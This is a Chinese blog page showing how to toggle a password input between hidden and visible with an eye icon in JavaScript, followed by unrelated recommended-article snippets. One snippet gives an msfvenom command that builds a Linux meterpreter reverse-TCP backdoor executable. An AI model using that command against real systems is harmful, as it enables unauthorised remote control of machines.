在输入密码框中眼睛睁开可以看见数字,眼睛闭上看不见数字怎么用JS实现
无论做那个项目,登录注册页面总是避免不了的,那怎么用js来控制密码的显示和隐藏呢?先看一下效果图:
HTML代码如下:
<div>
<label for="password">
<input type="password" id="password" placeholder="请输入密码" maxlength="12" value="" autocomplete="off">
<span class="login__pwdnotShow___3kxE7" id="lyypd"></span>
</label>
</div>
JS代码如下:
<script type="text/javascript">
window.onload=function(){
var input=document.getElementById("password")
var eyes=document.getElementById("lyypd")
eyes.onclick=function(e){
var btn=e.target.className //e.target是找到了鼠标点击事件的DOM元素
if(btn === 'login__pwdnotShow___3kxE7'){
input.type="text"
e.target.className="login__pwdShow___3dPhS"
}
else if(btn === 'login__pwdShow___3dPhS'){
input.type="password"
e.target.className="login__pwdnotShow___3kxE7"
}
}
}
</script>
解释:代码放置在window.onload的事件处理函数中,只有当文档加载完成后,才会执行事件处理函数,如果js放在div上面,则需放在window.onload的事件处理函数中才能显示效果
在输入密码框中眼睛睁开可以看见数字,眼睛闭上看不见数字怎么用JS实现的更多相关文章
- select选择框中,model传的值并非是页面上的值,而是另一个值
对于编程来说,money和rebate代表的是金额优惠和折扣优惠,采用money或rebate便于数据存储.但是页面显示给用户的时候是金额优惠和折扣优惠,并不是显示编程中所存储数据.所以选择的mode ...
- 【C#】无损转换Image为Icon 【C#】组件发布:MessageTip,轻快型消息提示窗 【C#】给无窗口的进程发送消息 【手记】WebBrowser响应页面中的blank开新窗口及window.close关闭本窗体 【手记】调用Process.EnterDebugMode引发异常:并非所有引用的特权或组都分配给呼叫方 【C#】DataRowState演变备忘
[C#]无损转换Image为Icon 如题,市面上常见的方法是: var handle = bmp.GetHicon(); //得到图标句柄 return Icon.FromHandle(handle ...
- 小程序登录时如何获取input框中的内容
最近写小程序项目遇到一些问题,今天整理下这些问题的解决方法,希望对用户有帮助.下面是登录页,点击登录时获取input框中的值, 效果如下: wxml布局如下: <view > <in ...
- 利用js取到下拉框中选择的值
现在的需求是:下拉框中要是选择加盟商让其继续选择学校,要是选择平台管理员则不需要选择学校.隐藏选择下拉列表. 选择枚举值: /// <summary> /// 平台角色 /// </ ...
- jQuery文本框中的事件应用
jQuery文本框中的事件应用 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "ht ...
- MFC 编辑框中字体大小改变,行高不能改变,只能显示一半的问题,已解决。
CKagulaCEdit是CEdit的一个继承类,m_edit的CKagulaCEdit类型的一个变量 调用的时候,是这样的: 编辑框中字体大小改变,行高不能改变,只能显示一半的问题,问题如下: 这时 ...
- c#winform程序,修改MessageBox提示框中按钮的文本
用winform的MessageBox是实现不了的,这里我用的是DevExpress控件的XtraMessageBoxForm 例如如果想在一个提示框里修改"是","否& ...
- Js控制显示、隐藏文本框中的密码
Js控制显示.隐藏文本框中的密码,也可称为是一款小型的JavaScript星号密码破解器,点击会显示出密码类型的文本框中的真实信息,再次点击则还原,程序 主要是获取HTML元素对象,然后强制更改元素属 ...
- 让下拉框中同时显示Key与Value
声明:原创作品,转载时请注明文章来自SAP师太技术博客( 博/客/园www.cnblogs.com):www.cnblogs.com/jiangzhengjun,并以超链接形式标明文章原始出处,否则将 ...
随机推荐
- JAVAWEB servlet和jsp的权限访问控制
要想防止用户直接访问某个页面,那么就需要要求他带着session来访问,我们才让他访问,所以登录时设置的session就用上了 在用户没有session时,访问servlet或者jsp时直接重定向页面 ...
- msfvenom生成linux后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf
- SecureCRT 用法总结
SecureCRT 用法总结 1.下载与破解方法: Mac:https://www.jianshu.com/p/9427f12b1fdb Window:https://drive.google.c ...
- 在CentOS7上部署PostgreSQL11数据库系统
在数据库上的选择,也是基于了稳定性为前提.其实选择的范围并不是太大,基本可以选择的范围也就是SQLServer.MySQL.PostgreSQL这三种.SQL Server是微软的商业数据库,无论是性 ...
- xml解析数据信息并实现DBManager操作mysql
先前一直都是用的直接用加载驱动 然后创建连接进行操作数据 如果我的数据库换了 那么要修改的地方也比较多 不利于维护 所以就想到了将所有配置连接信息都用xml封装起来 以至于我每次都只要修改一下我的 ...
- Netty源码分析第5章(ByteBuf)---->第2节: ByteBuf的分类
Netty源码分析第五章: ByteBuf 第二节: ByteBuf的分类 上一小节简单介绍了AbstractByteBuf这个抽象类, 这一小节对其子类的分类做一个简单的介绍 ByteBuf根据不同 ...
- Spring入门学习笔记(1)
目录 Spring好处 依赖注入 面向面编程(AOP) Spring Framework Core Container Web Miscellaneous 编写第一个程序 IoC容器 Spring B ...
- python-gevent模块(自动切换io的协程)
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import gevent def foo() ...
- Extreme Learning Machine 翻译
本文是作者这几天翻译的一篇经典的ELM文章,是第一稿,所以有很多错误以及不足之处. 另外由于此编辑器不支持MathType所以好多公式没有显示出来,原稿是word文档. 联系:250101249@qq ...
- js中 null, undefined, 0,空字符串,false,不全等比较
null == undefined // true null == '' // false null == 0 // false null == false // false undefined = ...